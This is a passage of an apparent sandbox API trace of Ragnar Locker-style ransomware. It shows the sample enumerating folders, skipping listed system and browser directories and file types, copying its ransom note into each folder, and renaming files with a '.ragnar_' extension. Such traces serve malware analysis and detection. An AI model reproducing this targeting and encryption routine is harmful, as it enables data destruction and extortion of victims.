[0056.861] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.861] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2=".") returned 1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="..") returned 1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Windows") returned -1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Windows.old") returned -1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Tor browser") returned -1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Internet Explorer") returned -1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Google") returned 1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Opera") returned -1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Opera Software") returned -1 [0056.861] lstrcmpiW (lpString1="hr-HR", lpString2="Mozilla") returned -1 [0056.862] lstrcmpiW (lpString1="hr-HR", lpString2="Mozilla Firefox") returned -1 [0056.862] lstrcmpiW (lpString1="hr-HR", lpString2="$Recycle.Bin") returned 1 [0056.862] lstrcmpiW (lpString1="hr-HR", lpString2="ProgramData") returned -1 [0056.862] lstrcmpiW (lpString1="hr-HR", lpString2="All Users") returned 1 [0056.862] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.862] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hr-HR" | out: lpString1="hr-HR") returned="hr-HR" [0056.862] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\" [0056.862] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\" [0056.862] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\RGNR_FD7BD9FC.txt" [0056.862] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.864] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*" [0056.864] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.864] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.864] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.864] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.864] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.864] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.864] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.864] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74229220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.864] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.864] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.864] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.864] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.864] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.865] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.865] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.865] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74229220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.865] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74229220, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74229220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.865] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.865] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.865] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.865] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.865] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.865] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.865] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.865] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned=".mui" [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.865] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.865] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.866] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.866] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.866] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.866] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.866] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.866] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0056.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.866] CloseHandle (hObject=0xffffffff) returned 0 [0056.866] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" [0056.866] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.866] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.866] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.866] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.866] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2=".") returned 1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2="..") returned 1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2="Windows") returned -1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2="Windows.old") returned -1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2="Tor browser") returned -1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2="Internet Explorer") returned -1 [0056.866] lstrcmpiW (lpString1="hu-HU", lpString2="Google") returned 1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="Opera") returned -1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="Opera Software") returned -1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="Mozilla") returned -1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="Mozilla Firefox") returned -1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="$Recycle.Bin") returned 1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="ProgramData") returned -1 [0056.867] lstrcmpiW (lpString1="hu-HU", lpString2="All Users") returned 1 [0056.867] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.867] lstrcpyW (in: lpString1=0x1eb62e, lpString2="hu-HU" | out: lpString1="hu-HU") returned="hu-HU" [0056.867] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\" [0056.867] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\" [0056.867] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\RGNR_FD7BD9FC.txt" [0056.867] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.894] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*" [0056.894] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.894] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.894] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742754e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.895] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742754e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x742754e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.895] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.895] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.895] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.895] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.895] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742754e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742754e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x742754e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x742754e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.895] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.895] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.895] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.895] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.895] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 